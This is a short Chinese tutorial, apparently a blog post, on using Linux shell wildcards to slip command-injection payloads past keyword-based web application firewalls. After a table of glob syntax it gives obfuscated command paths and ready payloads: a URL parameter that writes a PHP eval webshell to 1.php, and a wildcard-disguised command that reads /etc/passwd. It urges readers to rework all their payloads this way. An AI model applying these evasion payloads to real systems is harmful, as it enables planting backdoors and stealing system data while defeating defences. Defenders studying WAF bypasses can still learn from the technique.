Linux 通配符 绕过WAF

最近发现了一个技巧,在命令执行漏洞时,会非常有用,就是Linux 的通配符。我们常用通配符去搜索、查找、匹配文件内容,但linux shellglob模式,其可以使用通配符去匹配命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
字符 解释
* 匹配任意长度任意字符
? 匹配任意单个字符
[list] 匹配指定范围内(list)任意单个字符,也可以是单个字符组成的集合
[^list] 匹配指定范围外的任意单个字符或字符集合
[!list][^list]
{str1,str2,...} 匹配 srt1 或者 srt2 或者更多字符串,也可以是集合专用字符集字符意义
[:alnum:] 任意数字或者字母
[:alpha:] 任意字母
[:space:] 空格
[:lower:] 小写字母
[:digit:] 任意数字
[:upper:] 任意大写字母
[:cntrl:] 控制符
[:graph:] 图形
[:print:] 可打印字符
[:punct:] 标点符号
[:xdigit:] 十六进制数
[:blank:] 空白字符

例如cat 命令可以被替换成如下:

1
2
3
4
/???/????/ifconfig
/???/????/if[a-z]onfig
/???/????/if[a-z]on[[:alnum:]]ig
/???/????/i??????g | grep inet

很多基于正则表达式或者关键字的WAF是无法检测出这种类型的注入的。当然,要保证/???/????/i??????g这种是唯一的,可以用TAB来查找观察是否命令唯一,同时,这种情况命令必须是绝对路径。

ifconfig-wildcard

知道了这个原理,我们可以将我们以后所有的payload都进行改造:

1
2
3
4
5
6
7
[webshell]
http://a.com?cmd=/???/e??? "<?php eval($_POST['cmd'])?>" > 1.php
[读取passwd内容]
cmd=/???/ca? /???/p?????
其余的可自行修改